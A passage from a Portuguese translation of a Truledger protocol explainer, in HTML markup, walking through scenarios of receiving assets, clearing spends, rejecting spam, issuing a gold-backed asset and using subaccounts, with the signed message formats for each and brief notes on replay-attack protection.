Servidor: (&amp;lt;servidorid&amp;gt;,@spend,(&amp;lt;suesid&amp;gt;,spend,&amp;lt;servidorid&amp;gt;,&amp;lt;time#&amp;gt;,&amp;lt;bobsid&amp;gt;,&amp;lt;tokenid&amp;gt;,50,Hey Bob\. Bem-vindo ao Truledger!)).
(&amp;lt;servidorid&amp;gt;,@tranfee,(&amp;lt;suesid&amp;gt;,tranfee,&amp;lt;servidorid&amp;gt;,&amp;lt;time#&amp;gt;,&amp;lt;tokenid&amp;gt;,2)).
(&amp;lt;servidorid&amp;gt;,@balance,(&amp;lt;suesid&amp;gt;,balance,&amp;lt;servidorid&amp;gt;,&amp;lt;time#&amp;gt;,&amp;lt;tokenid&amp;gt;,1025)).
(&amp;lt;servidorid&amp;gt;,@outboxhash,(&amp;lt;suesid&amp;gt;,outboxhash,&amp;lt;servidorid&amp;gt;,&amp;lt;time#&amp;gt;,X))
Bob: (&amp;lt;bobsid&amp;gt;,servidorid,&amp;lt;pubkey&amp;gt;)
Servidor: (&amp;lt;servidorid&amp;gt;,register,&amp;lt;servidorid&amp;gt;,&amp;lt;pubkey&amp;gt;,Truledger)
Bob: (&amp;lt;bobsid&amp;gt;,register,&amp;lt;servidorid&amp;gt;,&amp;lt;pubkey&amp;gt;,Bob)
Servidor: (&amp;lt;servidorid&amp;gt;,@register,(&amp;lt;bobsid&amp;gt;,register,&amp;lt;servidorid&amp;gt;,&amp;lt;pubkey&amp;gt;,Bob))
&lt;/code>&lt;/pre>&lt;h3 id="cenário-recebendo-ativos">Cenário: Recebendo ativos&lt;/h3>
&lt;p>Bob: Olá servidor. Aqui está o meu ID e um novo número de solicitação. O que há na minha caixa de entrada?
Assinado: Bob&lt;/p>
&lt;p>Servidor: sua caixa de entrada contém 50 tokens uso vindos de Sue com a mensagem &amp;ldquo;Hey, Bob. Bem-vindo ao Truledger!&amp;rdquo; Ele também contém uma taxa de 10 tokens de uso do servidor com uma mensagem de &amp;ldquo;Taxa de registro&amp;rdquo;. Aqui estão dois números de transação que você pode usar para aceitar esses gastos e gastar você mesmo
Assinado: Servidor&lt;/p>
&lt;p>Bob: Aqui está meu ID e o primeiro número de transação que você me deu. Aceite os gastos de Sue com uma mensagem &amp;ldquo;Obrigado, Sue. Estou empolgado com Truledger!&amp;rdquo; e aceite a cobrança do servidor. Meu saldo após esta transação será de 39 tokens de uso.
Assinado: Bob&lt;/p>
&lt;p>Servidor: processei os gastos de Sue e a cobrança do servidor. Concordo que seu saldo após esta transação seja de 39 tokens de uso.
Assinado: Servidor&lt;/p>
&lt;hr>
&lt;p>Um possível ataque a um servidor eletrônico pode ser a repetição de uma mensagem interceptada. A menos que o protocolo proteja isso, isso pode causar problemas. Exceto para a solicitação do servidor, a solicitação de registro e uma solicitação do último número da solicitação do cliente, toda solicitação de informações deve ser acompanhada por um número maior que o último número da solicitação usada pelo cliente e toda transação deve ser acompanhada de uma transação número que é fornecido pelo servidor. O servidor mantém um contador, que é incrementado toda vez que alguém pede um número de transação. Isso impossibilita a reprodução de solicitações que revelam informações ou iniciam transações sem a senha e a chave privada do cliente. No mundo do Truledger, sua senha e sua chave privada são sua identidade. Guarda-os bem.&lt;/p>
&lt;p>Outro possível ataque de reprodução é interceptar uma mensagem para um servidor e enviá-la para outro. Os clientes podem se proteger contra isso, tendo IDs diferentes, portanto, pares de chaves pública / privada diferentes, para servidores diferentes. Mas será muito conveniente usar o mesmo ID. Seus amigos o reconhecerão e você terá apenas uma senha para lembrar. Portanto, o ID do servidor está incluído em quase todas as solicitações. Solicitações destinadas a outro servidor não funcionarão.&lt;/p>
&lt;p>Você provavelmente está se perguntando por que o saldo de Bob após a transação é de 39, em vez de 40, tokens de uso. Ele conseguiu 50 tokens de uso de Sue e pagou ao servidor 10 tokens de uso pela taxa de registro. O token de uso adicional é o preço do novo arquivo usado para armazenar o saldo do token de uso. Tokens de uso de custos de armazenamento. O tear cobra 1 token de uso para cada 16 bytes de armazenamento. Eu considerei a cobrança por byte, mas decidi que a cobrança por arquivo era mais fácil de lidar, embora não fosse tão justa. Só faz sentido se os tamanhos das mensagens forem limitados, é claro. Se você recebesse mensagens em megabytes, o Truledger teria que cobrar por byte ou por kilobyte.&lt;/p>
&lt;p>Mensagem atual enviada:&lt;/p>
&lt;pre tabindex="0">&lt;code>Bob: (&amp;lt;bobsid&amp;gt;,getinbox,&amp;lt;serverid&amp;gt;,&amp;lt;req#&amp;gt;)
Servidor: (&amp;lt;servidorid,@getinbox,(&amp;lt;bobsid&amp;gt;,getinbox,&amp;lt;servidorid&amp;gt;,&amp;lt;req#&amp;gt;)).
(&amp;lt;servidorid&amp;gt;,inbox,&amp;lt;time3#&amp;gt;,(&amp;lt;suesid&amp;gt;,spend,&amp;lt;servidorid&amp;gt;,&amp;lt;time#&amp;gt;,&amp;lt;bobsid&amp;gt;,&amp;lt;tokenid&amp;gt;,50,Hey Bob\. Bem-vindo ao Truledger!)).
(&amp;lt;servidorid&amp;gt;,inbox,&amp;lt;time4#&amp;gt;,(&amp;lt;servidorid&amp;gt;,spend,&amp;lt;serverid&amp;gt;,&amp;lt;time2#&amp;gt;,&amp;lt;bobsid&amp;gt;,&amp;lt;tokenid&amp;gt;,-10,Taxa de Registro)).
(&amp;lt;servidorid&amp;gt;,time,&amp;lt;bobsid&amp;gt;,&amp;lt;time5#&amp;gt;).
(&amp;lt;servidorid&amp;gt;,time,&amp;lt;bobsid&amp;gt;,&amp;lt;time6#&amp;gt;)
Bob: (&amp;lt;bobsid&amp;gt;,processinbox,&amp;lt;servidorid&amp;gt;,&amp;lt;time5#&amp;gt;,&amp;lt;time3#&amp;gt;|&amp;lt;time4#&amp;gt;).
(&amp;lt;bobsid&amp;gt;,spend|accept,&amp;lt;servidorid&amp;gt;,&amp;lt;suesid&amp;gt;,&amp;lt;time#&amp;gt;,Obrigado Sue\. Estou empolgado com Truledger!).
(&amp;lt;bobsid&amp;gt;,spend|accept,&amp;lt;servidorid&amp;gt;,&amp;lt;servidorid&amp;gt;,&amp;lt;time2#&amp;gt;).
(&amp;lt;bobsid&amp;gt;,balance,&amp;lt;servidorid&amp;gt;,&amp;lt;time5#&amp;gt;,&amp;lt;tokenid&amp;gt;,39)
Servidor: (&amp;lt;servidorid&amp;gt;,@processinbox,(&amp;lt;bobsid&amp;gt;,processinbox,&amp;lt;serverid&amp;gt;,&amp;lt;time5#&amp;gt;,&amp;lt;time3#&amp;gt;|&amp;lt;time4#&amp;gt;)).
(&amp;lt;servidorid&amp;gt;,@spend|accept,(&amp;lt;bobsid&amp;gt;,spend|accept,&amp;lt;servidorid&amp;gt;,&amp;lt;suesid&amp;gt;,&amp;lt;time#&amp;gt;,Obrigado Sue\. Estou empolgado com Truledger!)).
(&amp;lt;servidorid&amp;gt;,@spend|accept,(&amp;lt;bobsid&amp;gt;,spend|accept,&amp;lt;servidorid&amp;gt;,&amp;lt;servidorid&amp;gt;,&amp;lt;time2#&amp;gt;)).
(&amp;lt;servidorid&amp;gt;,@balance,(&amp;lt;bobsid&amp;gt;,balance,&amp;lt;servidorid&amp;gt;,&amp;lt;time5#&amp;gt;,&amp;lt;tokenid&amp;gt;,39))
&lt;/code>&lt;/pre>&lt;h3 id="cenário-fechando-uma-transação">Cenário: fechando uma transação&lt;/h3>
&lt;p>Sue: Olá Servidor. Aqui está o meu ID e um novo número de solicitação. O que há na minha caixa de entrada?
Assinado: Sue&lt;/p>
&lt;p>Servidor: sua caixa de entrada contém uma aceitação de Bob dos seus 50 token de uso gastos com a mensagem &amp;ldquo;Obrigado Sue. Estou empolgado com Truledger!&amp;rdquo; Aqui estão dois números de transação que você pode usar para fechar essa transação e fazer um novo gasto.
Assinado: Servidor&lt;/p>
&lt;p>Sue: Aqui está meu ID e o primeiro número de transação que você me deu. Limpe os gastos para Bob. Meu saldo após esta transação será 1027 tokens de uso. O hash da minha caixa de saída após esta transação será Y.
Assinado: Sue&lt;/p>
&lt;p>Servidor: Limpei os gastos para Bob (e reembolsei os tokens de uso que estavam alugando os locais da caixa de saída e da caixa de entrada). Concordo que seu saldo após esta transação seja 1027 tokens de uso. E eu concordo que o hash da sua caixa de saída após esta transação é Y.
Assinado: Servidor&lt;/p>
&lt;hr>
&lt;p>Existem três partes principais de uma conta do Truledger: os saldos, a caixa de saída e a caixa de entrada. O valor é armazenado nos três locais. Quando você gasta, seu saldo para o ativo gasto é debitado e a solicitação de gasto é armazenada na sua caixa de saída e na caixa de entrada do destinatário. Você recebe dois tokens de uso para conceder os novos arquivos de caixa de saída e caixa de entrada. Quando o destinatário aceita os gastos, o saldo do ativo gasto é creditado, o aviso de gasto é removido da caixa de entrada e um aviso de aceitação de gasto é adicionado à sua caixa de entrada. Quando você reconhece a aceitação dos gastos, a solicitação de gastos é removida da caixa de saída, o aviso de aceitação é removido da caixa de entrada e os dois tokens de uso que você pagou para alugar esses arquivos são creditados no seu saldo. Esse processo de três etapas é necessário, porque o servidor não pode modificar seus saldos sem sua permissão assinada e não pode modificar os saldos do destinatário sem sua permissão assinada.&lt;/p>
&lt;p>Você pode estar se perguntando o que é um &amp;ldquo;hash da caixa de saída&amp;rdquo;. Seus saldos mais sua caixa de saída representam a parte da sua conta que você e o servidor concordaram. Sua caixa de entrada é alterada sem o seu conhecimento, mas o servidor precisa da sua permissão assinada para alterar sua caixa de saída (gastar) ou seus saldos. Como sua caixa de saída pode ficar grande, em vez de enviar todo o conteúdo toda vez que você gasta ou reconhece a aceitação (ou rejeição) de uma despesa por um destinatário, você calcula um hash da sua caixa de saída e envia-o , e o servidor responde com um reconhecimento desse hash da caixa de saída (obrigado a Patrick Chkoreff por essa ideia).&lt;/p>
&lt;p>Mensagem atual enviada:&lt;/p>
&lt;pre tabindex="0">&lt;code>Sue: (&amp;lt;suesid&amp;gt;,getinbox,&amp;lt;servidorid&amp;gt;,&amp;lt;req2#&amp;gt;)
Server: (&amp;lt;servidorid,@getinbox,(&amp;lt;suesid&amp;gt;,getinbox,&amp;lt;servidorid&amp;gt;,&amp;lt;req2#&amp;gt;)).
(&amp;lt;servidorid&amp;gt;,inbox,&amp;lt;time7#&amp;gt;,(&amp;lt;bobsid&amp;gt;,spend|accept,&amp;lt;servidorid&amp;gt;,&amp;lt;suesid&amp;gt;,&amp;lt;time#&amp;gt;,Obrigado Sue\. Estou empolgado com Truledger!)).
(&amp;lt;servidorid&amp;gt;,time,&amp;lt;bobsid&amp;gt;,&amp;lt;time8#&amp;gt;).
(&amp;lt;servidorid&amp;gt;,time,&amp;lt;bobsid&amp;gt;,&amp;lt;time9#&amp;gt;)
Sue: (&amp;lt;suesid&amp;gt;,processinbox,&amp;lt;servidorid&amp;gt;,&amp;lt;time8#&amp;gt;,&amp;lt;time7#&amp;gt;).
(&amp;lt;suesid&amp;gt;,balance,&amp;lt;servidorid&amp;gt;,&amp;lt;time8#&amp;gt;,&amp;lt;tokenid&amp;gt;,1027).
(&amp;lt;suesid&amp;gt;,outboxhash,&amp;lt;servidorid&amp;gt;,&amp;lt;time8#&amp;gt;,Y)
Server: (&amp;lt;servidorid&amp;gt;,@processinbox,(&amp;lt;suesid&amp;gt;,processinbox,&amp;lt;servidorid&amp;gt;,&amp;lt;time8#&amp;gt;,&amp;lt;time7#&amp;gt;)).
(&amp;lt;servidorid&amp;gt;,@balance,(&amp;lt;suesid&amp;gt;,balance,&amp;lt;servidorid&amp;gt;,&amp;lt;time8#&amp;gt;,&amp;lt;tokenid&amp;gt;,1027)).
(&amp;lt;servidorid&amp;gt;,@outboxhash,(&amp;lt;suesid&amp;gt;,outboxhash,&amp;lt;servidorid&amp;gt;,&amp;lt;time8#&amp;gt;,Y))
&lt;/code>&lt;/pre>&lt;h3 id="cenário-prevenção-de-spam">Cenário: Prevenção de Spam&lt;/h3>
&lt;p>Spammer (provavelmente rodando através de um software automatizado): Ei, servidor. Aqui está um novo número de solicitação. Dê-me um número de transação, por favor.
Assinado: Spammer&lt;/p>
&lt;p>Servidor: aqui está um novo número de transação.
Assinado: Servidor&lt;/p>
&lt;p>Spammer: Ei, servidor. Aqui está o número da transação que você me deu. Gaste 0 tokens de uso na identificação de Bob, com a mensagem &amp;ldquo;Seja milonaro, imvista na Unik Forebis&amp;rdquo;. Pago 2 tokens de uso como taxa de transação, que retornarei quando Bob aceitar os gastos. Meu saldo após esta transação será 2425 tokens de uso. O hash da minha caixa de saída após esta transação será Z.
Assinado: Spammer&lt;/p>
&lt;p>Servidor: processei seu gasto de 0 tokens de uso no ID de Bob. Concordo que a taxa de transação no momento desta transação é de 2 tokens de uso e que seu saldo após esta transação é de 2425 tokens de uso. Concordo com você no seu hash da caixa de saída.
Assinado: Servidor&lt;/p>
&lt;p>Bob: Olá servidor. Aqui está o meu ID e um novo número de solicitação. O que há na minha caixa de entrada?
Assinado: Bob&lt;/p>
&lt;p>Servidor: sua caixa de entrada contém 0 tokens de uso gastos do Spammer com a mensagem &amp;ldquo;Seja milonaro, imvista na Unik Forebis&amp;rdquo;. Aqui estão dois números de transação que você pode usar para aceitar esses gastos do Spammer e receber como saldo.
Assinado: Servidor&lt;/p>
&lt;p>Bob: Aqui está meu ID e o primeiro dos numeros de transação que você me deu. Rejeite o gasto de Spammer com a mensagem &amp;ldquo;Obrigado pelos tokens&amp;rdquo;, e me dê os dois tokens de uso que ele pagou para enviar esse spam. Meu balanço depois desta transação será de 41 tokens de uso.
Assinado: Bob&lt;/p>
&lt;p>Servidor: Rejeitei o gasto do Spammer. Eu aceito que seu balanço após essa transação é de 41 tokens de uso.
Assinado: Servidor&lt;/p>
&lt;hr>
&lt;p>Gastos podem ser rejeitados. A quantia enviada volta para quem solicitou o gasto, mas Spends can be rejected. The amount spent goes back to the spender, mas o destinatário é quem embolsa a taxa de transação. Gastos zero servem para usar a Truledger cmo um serviç de mensagem simples. Mas não são de graça, a menos que o destinatário queira a mensagem. Na minha humilde opinião, spam existem tanto por que é praticamente de graça enviar um e-mail. Em um sistema em que cada mensagem de spam custa 2 tokens de uso, fazer spam será barato, mas não de graça. Duvido que isso venha a ser um grande problema. O tempo dirá.&lt;/p>
&lt;p>Mensagem atual enviada:&lt;/p>
&lt;pre tabindex="0">&lt;code>Spammer: (&amp;lt;spammersid&amp;gt;,gettime,&amp;lt;serverid&amp;gt;,&amp;lt;req#&amp;gt;)
Servidor: (&amp;lt;serverid&amp;gt;,time,&amp;lt;spammersid&amp;gt;,&amp;lt;time10#&amp;gt;)
Spammer: (&amp;lt;spammersid&amp;gt;,spend,&amp;lt;serverid&amp;gt;,&amp;lt;time10#&amp;gt;,&amp;lt;bobsid&amp;gt;,&amp;lt;tokenid&amp;gt;,0,Seja milonaro\. Imvista na Unik Forebis\.).
(&amp;lt;spammersid&amp;gt;,tranfee,&amp;lt;serverid&amp;gt;,&amp;lt;time#&amp;gt;,&amp;lt;tokenid&amp;gt;,2).
(&amp;lt;spammersid&amp;gt;,balance,&amp;lt;serverid&amp;gt;,&amp;lt;time#&amp;gt;,&amp;lt;tokenid&amp;gt;,2425).
(&amp;lt;spammersid&amp;gt;,outboxhash,&amp;lt;serverid&amp;gt;,&amp;lt;time#&amp;gt;,Z)
Servidor: (&amp;lt;serverid&amp;gt;,@spend,(&amp;lt;spammersid&amp;gt;,spend,&amp;lt;serverid&amp;gt;,&amp;lt;time#&amp;gt;,&amp;lt;bobsid&amp;gt;,&amp;lt;tokenid&amp;gt;,0,Seja milonaro\. Imvista na Unik Forebis\.)).
(&amp;lt;serverid&amp;gt;,@tranfee,(&amp;lt;spammersid&amp;gt;,tranfee,&amp;lt;serverid&amp;gt;,&amp;lt;time#&amp;gt;,&amp;lt;tokenid&amp;gt;,2)).
(&amp;lt;serverid&amp;gt;,@balance,(&amp;lt;spammersid&amp;gt;,balance,&amp;lt;serverid&amp;gt;,&amp;lt;time#&amp;gt;,&amp;lt;tokenid&amp;gt;,2425)).
(&amp;lt;serverid&amp;gt;,@outboxhash,(&amp;lt;spammersid&amp;gt;,outboxhash,&amp;lt;serverid&amp;gt;,&amp;lt;time#&amp;gt;,Z))
Bob: (&amp;lt;bobsid&amp;gt;,getinbox,&amp;lt;serverid&amp;gt;,&amp;lt;req2#&amp;gt;)
Servidor: (&amp;lt;serverid,@getinbox,(&amp;lt;bobsid&amp;gt;,getinbox,&amp;lt;serverid&amp;gt;,&amp;lt;req2#&amp;gt;)).
(&amp;lt;serverid&amp;gt;,inbox,&amp;lt;time11#&amp;gt;,(&amp;lt;spammersid&amp;gt;,spend,&amp;lt;serverid&amp;gt;,&amp;lt;time10#&amp;gt;,&amp;lt;bobsid&amp;gt;,&amp;lt;tokenid&amp;gt;,0,Seja milonaro\. Imvista na Unik Forebis\.)).
(&amp;lt;serverid&amp;gt;,time,&amp;lt;bobsid&amp;gt;,&amp;lt;time12#&amp;gt;).
(&amp;lt;serverid&amp;gt;,time,&amp;lt;bobsid&amp;gt;,&amp;lt;time13#&amp;gt;)
Bob: (&amp;lt;bobsid&amp;gt;,processinbox,&amp;lt;serverid&amp;gt;,&amp;lt;time12#&amp;gt;,&amp;lt;time11#&amp;gt;).
(&amp;lt;bobsid&amp;gt;,spend|reject,&amp;lt;serverid&amp;gt;,&amp;lt;spammersid&amp;gt;,&amp;lt;time12#&amp;gt;,&amp;lt;time10#&amp;gt;,Obrigado pelos tokens).
(&amp;lt;bobsid&amp;gt;,balance,&amp;lt;serverid&amp;gt;,&amp;lt;time12#&amp;gt;,&amp;lt;tokenid&amp;gt;,41)
Servidor: (&amp;lt;serverid&amp;gt;,@processinbox,(&amp;lt;bobsid&amp;gt;,processinbox,&amp;lt;serverid&amp;gt;,&amp;lt;time12#&amp;gt;,&amp;lt;time11#&amp;gt;)).
(&amp;lt;serverid&amp;gt;,@spend|reject,(&amp;lt;bobsid&amp;gt;,spend|accept,&amp;lt;serverid&amp;gt;,&amp;lt;spammersid&amp;gt;,&amp;lt;time12#&amp;gt;,&amp;lt;time10#&amp;gt;,)Obrigado pelos tokens).
(&amp;lt;serverid&amp;gt;,@balance,(&amp;lt;bobsid&amp;gt;,balance,&amp;lt;serverid&amp;gt;,&amp;lt;time12#&amp;gt;,&amp;lt;tokenid&amp;gt;,41))
&lt;/code>&lt;/pre>&lt;h3 id="cenário-emissão-de-ativos">Cenário: Emissão de ativos&lt;/h3>
&lt;p>Bob: Ei, servidor. Aqui está um novo número de solicitação. Dê-me um número de transação, por favor.
Assinado: Bob&lt;/p>
&lt;p>Servidor: aqui está um novo número de transação.
Assinado: Servidor&lt;/p>
&lt;p>Bob: Ei, servidor. Aqui está o número da transação que você me deu. Registre um novo ativo chamado &amp;ldquo;Bob GoldGrams&amp;rdquo;. Tem uma escala de 7 e uma precisão de 3. O Seu ID é &amp;lt;bobggid&amp;gt;. Meu saldo após esta transação será de 39 tokens de uso e -1 &amp;lt;bobggid&amp;gt;.&lt;/p>
&lt;p>Servidor: registrei o novo ativo &amp;ldquo;Bob GoldGrams&amp;rdquo;. Concordo que seu saldo após esta transação seja de 39 tokens de uso e -1 &amp;lt;bobggid&amp;gt;.&lt;/p>
&lt;hr>
&lt;p>LComo o Loom, o Truledger permite que os clientes criem seus próprios tipos de ativos. Então, se eles puderem convencê-los a fazer isso, outros clientes poderão negociar nesse tipo de ativo. O ID de um ativo do Truledger é o hash sha1 do ID do criador, sua escala, precisão e nome. Mas a mensagem que o cliente assina para criar o ativo e que o servidor assina para confirmar a criação também contém a identificação do servidor. Isso permite que o ativo seja registrado em vários servidores, com o mesmo ID, mas torna cada registro particularmente específico para um servidor específico. Portanto, faz sentido que um emissor de ativos forneça um serviço de transferência de seus ativos entre servidores nos quais está registrado; é evidente que Bob GoldGrams no servidor A é o mesmo ativo que Bob GoldGrams no servidor B.&lt;/p>
&lt;p>Pretendo suportar a transferência de emissão de ativos, mas ainda não resolvi os empecilios.&lt;/p>
&lt;p>Como na Loom, todos os valores no Truledger são armazenados como números inteiros. O valor da escala controla onde o ponto decimal fica na representação do mundo real desse valor: mova-o para a esquerda por locais da escala. A precisão controla o número mínimo de casas decimais impressas. Portanto, com uma escala de 7 e uma precisão de 3, o valor 12000000 será impresso pelos clientes da Truledger como 1.200, e o valor mínimo para a nova moeda de Bob é 0,0000001, um décimo milionésimo de um grama de ouro ou US $ 0,000003 a US $ 30 / grama: 3 dez milésimos de centavo. Olá micropagamentos.&lt;/p>
&lt;p>Também como na Loom, a soma de todos os valores, em contas e caixas de saída, para determinado ativo é -1. Há um saldo negativo, de propriedade do emissor, que pode gastar o quanto quiser, vários saldos positivos, e várias entradas da caixa de saída. Um saldo de -1 na conta do emissor significa que não há saldos pendentes ou entradas na caixa de saída nesse ativo, então é aí que o saldo de Bob GoldGrams de Bob começa. Os usuários de um ativo precisam confiar no emissor quando ele diz, por fora da Truledger, que seu ativo tem um real valor ou é respaldado por algo de valor real e que ele nunca emitirá mais ativos virtuais do que o seu lastro. Bem, a menos que ele queira agir como um país, e emitir moeda fiduciária apoiada por sua Plena Fé e Crédito e nada mais. Boa sorte tentando convencer alguém.&lt;/p>
&lt;p>Mensagem atual enviada:&lt;/p>
&lt;pre tabindex="0">&lt;code>Bob: (&amp;lt;bobsid&amp;gt;,gettime,&amp;lt;serverid&amp;gt;,&amp;lt;req3#&amp;gt;)
Servidor: (&amp;lt;serverid&amp;gt;,time,&amp;lt;bobsid&amp;gt;,&amp;lt;time13#&amp;gt;)
Bob: (&amp;lt;bobsid&amp;gt;,asset,&amp;lt;serverid&amp;gt;,&amp;lt;bobggid&amp;gt;,7,3,Bob GoldGrams).
(&amp;lt;bobsid&amp;gt;,balance,&amp;lt;serverid&amp;gt;,&amp;lt;time13#&amp;gt;,&amp;lt;tokenid&amp;gt;,39).
(&amp;lt;bobsid,balance,&amp;lt;serverid&amp;gt;,&amp;lt;time13#&amp;gt;,&amp;lt;bobggid&amp;gt;,-1)
Servidor: (&amp;lt;serverid&amp;gt;,#asset,(&amp;lt;bobsid&amp;gt;,asset,&amp;lt;serverid&amp;gt;,&amp;lt;bobggid&amp;gt;,7,3,Bob GoldGrams)).
(&amp;lt;serverid&amp;gt;,#balance,(&amp;lt;bobsid&amp;gt;,balance,&amp;lt;serverid&amp;gt;,&amp;lt;time13#&amp;gt;,&amp;lt;tokenid&amp;gt;,39)).
(&amp;lt;serverid&amp;gt;,#balance,(&amp;lt;bobsid,balance,&amp;lt;serverid&amp;gt;,&amp;lt;time13#&amp;gt;,&amp;lt;bobggid&amp;gt;,-1))
&lt;/code>&lt;/pre>&lt;h3 id="cenário-várias-subcontas">Cenário: várias subcontas&lt;/h3>
&lt;p>Bob: Eae, servidor. Aqui está um novo número de solicitação. Me dê um número de transação, por favor.
Assinado: Bob&lt;/p>
&lt;p>Servidor: Aqui está um novo número de transação.
Assinado: Servidor&lt;/p>
&lt;p>Bob: Olá, servidor. Aqui está o número da transação que você me deu. Faça um gasto zero comigo mesmo. Meu saldo após a transação será de 38 tokens de uso, -311.0347681 Bob GoldGrams na minha subconta padrão e 311.034768 Bob GoldGrams na minha subconta &amp;ldquo;Gun Safe&amp;rdquo;.&lt;/p>
&lt;p>Servidor: eu fiz esse gasto. Concordo que após a transação, seu saldo será de 38 tokens de uso, -311,0347681 Bob GoldGrams na sua conta padrão e 311,034768 Bob GoldGrams na sua subconta &amp;ldquo;Gun Safe&amp;rdquo;.&lt;/p>
&lt;p>Bob: Ei, servidor. Aqui está um novo número de solicitação. Dê-me um número de transação, por favor.
Assinado: Bob&lt;/p>
&lt;p>Servidor: Aqui está um novo número de transação.
Assinado: Servidor&lt;/p>
&lt;p>Bob: Ei, servidor. Aqui está o número da transação que você me deu. Gaste 2.4056304 Bob GoldGrams para Sue, com uma mensagem de &amp;ldquo;Bem, eu finalmente criei minha nova moeda, lastreada em Krugerands que estão no cofre de armas. Estou lhe enviando uma grama como agradecimento por ter me apresentado a Truledger e [1.4056304 gramas](&lt;a href="https://www.google.com/search?q=%2836&amp;#43;d" target="_blank" rel="noopener noreferrer">https://www.google.com/search?q=(36+d&lt;/a>
ólares+%2F+(796,60+dólares+por+onça+troy)+em+gramas) por 36 unidades de &lt;a href="http://capulin.com/" target="_blank" rel="noopener noreferrer">Café Capulin&lt;/a>
, que você disse que me venderia, para que eu possa comprar mais café fino do Daniel Fourwinds que saboreamos em sua casa outro dia. Usei um preço de ouro de US$ 796,60/onça, o melhor preço de venda na Kitco hoje de manhã.&amp;rdquo;. Minha taxa de transação será de 2 tokens de uso. Meu saldo após esta transação será de 36 tokens de uso e 309,6291376 Bob GoldGrams na minha subconta &amp;ldquo;Gun Safe&amp;rdquo; Meu hash da caixa de saída após esta transação será A.
Assinado: Bob&lt;/p>
&lt;p>Servidor: Fiz o seu gasto de 2,4056304 Bob GoldGrams para Sue, com sua mensagem e uma taxa de transação de 2 tokens de uso. Concordo que seu saldo após esta transação seja de 36 tokens de uso e 309.6291376 Bob GoldGrams na sua subconta &amp;ldquo;Gun Safe&amp;rdquo;. Concordo com o hash da caixa de saída.
Assinado: Servidor&lt;/p>
&lt;hr>
&lt;p>Truledger suporta a divisão de seus saldos em várias &amp;ldquo;subcontas&amp;rdquo;. Assim como um servidor convencional fornece uma conta corrente e uma conta poupança, você pode usar essas subcontas para ajudar a gerenciar seus ativos. Você pode ter quantas subcontas desejar, limitado apenas aos tokens de uso que você tenha para pagar pelos arquivos.&lt;/p>
&lt;p>Bob decidiu acompanhar seus Bob GoldGrams com uma subconta chamada &amp;ldquo;Gun Safe&amp;rdquo;, com um saldo registrando quantos gramas de ouro em seu cofre ainda não foram colocados em circulação. Ele semeia com &lt;a href="http://www.google.com/search?q=10&amp;#43;on%c3%a7as&amp;#43;troy&amp;#43;em&amp;#43;gramas" target="_blank" rel="noopener noreferrer">10 onças&lt;/a>
de gold, a parte de suas propriedades que ele está disposto a vender. Depois, ele gasta uma parte para Sue, pedindo unidades de Café Capulin suficientes para duas libras de Café Capulin (US$ 17,95 por libra, enviado).&lt;/p>
&lt;p>Perceba que você não precisa mencionar todos os seus saldos a cada gasto. Você menciona apenas os saldos que mudam. Observe também que não há taxa de transação para gastos consigo mesmo. A movimentação de ativos entre suas subcontas custa apenas tokens para novos arquivos. Não precisa ficar lotando a caixa de saída e a caixa de entrada.&lt;/p>
&lt;p>Mensagem atual enviada:&lt;/p>
&lt;pre tabindex="0">&lt;code>Bob: (&amp;lt;bobsid&amp;gt;,gettime,&amp;lt;serverid&amp;gt;,&amp;lt;req4#&amp;gt;)
Servidor: (&amp;lt;serverid&amp;gt;,time,&amp;lt;bobsid&amp;gt;,&amp;lt;time14#&amp;gt;)
Bob: (&amp;lt;bobsid&amp;gt;,spend,&amp;lt;serverid&amp;gt;,&amp;lt;time14#&amp;gt;,&amp;lt;bobsid&amp;gt;,&amp;lt;bobggid&amp;gt;,0).
(&amp;lt;bobsid&amp;gt;,balance,&amp;lt;serverid&amp;gt;,&amp;lt;time14#&amp;gt;,&amp;lt;bobggid&amp;gt;,-3110347681).
(&amp;lt;bobsid&amp;gt;,balance,&amp;lt;serverid&amp;gt;,&amp;lt;time14#&amp;gt;,&amp;lt;bobggid&amp;gt;,3110347680,Gun Safe)
Servidor: (&amp;lt;serverid&amp;gt;,@spend,(&amp;lt;bobsid&amp;gt;,spend,&amp;lt;serverid&amp;gt;,&amp;lt;time14#&amp;gt;,&amp;lt;bobsid&amp;gt;,&amp;lt;bobggid&amp;gt;,0)).
(&amp;lt;serverid&amp;gt;,@balance,(&amp;lt;bobsid&amp;gt;,balance,&amp;lt;serverid&amp;gt;,&amp;lt;time14#&amp;gt;,&amp;lt;bobggid&amp;gt;,-3110347681)).
(&amp;lt;serverid&amp;gt;,@balance,(&amp;lt;bobsid&amp;gt;,balance,&amp;lt;serverid&amp;gt;,&amp;lt;time14#&amp;gt;,&amp;lt;bobggid&amp;gt;,3110347680,Gun Safe))
Bob: (&amp;lt;bobsid&amp;gt;,gettime,&amp;lt;serverid&amp;gt;,&amp;lt;req5#&amp;gt;)
Servidor: (&amp;lt;serverid&amp;gt;,time,&amp;lt;bobsid&amp;gt;,&amp;lt;time15#&amp;gt;)
Bob: (&amp;lt;bobsid&amp;gt;,spend,&amp;lt;serverid&amp;gt;,&amp;lt;time15#&amp;gt;,&amp;lt;suesid&amp;gt;,&amp;lt;bobggid&amp;gt;,24056304,Bem, eu finalmente criei minha nova moeda, lastreada em Krugerands que estão no cofre de armas. Estou lhe enviando uma grama como agradecimento por ter me apresentado a Truledger e 1.4056304 gramas por 36 unidades de Café Capulin, que você disse que me venderia, para que eu possa comprar mais café fino do Daniel Fourwinds que saboreamos em sua casa outro dia. Usei um preço de ouro de US$ 796,60/onça, o melhor preço de venda na Kitco hoje de manhã.).
(&amp;lt;bobsid&amp;gt;,tranfee,&amp;lt;serverid&amp;gt;,&amp;lt;time15#&amp;gt;,&amp;lt;tokenid&amp;gt;,2).
(&amp;lt;bobsid&amp;gt;,balance,&amp;lt;serverid&amp;gt;,&amp;lt;time15#&amp;gt;,&amp;lt;bobggid&amp;gt;,3096291376,Gun Safe).
(&amp;lt;bobsid&amp;gt;,outboxhash,&amp;lt;serverid&amp;gt;,&amp;lt;time15#&amp;gt;,A)
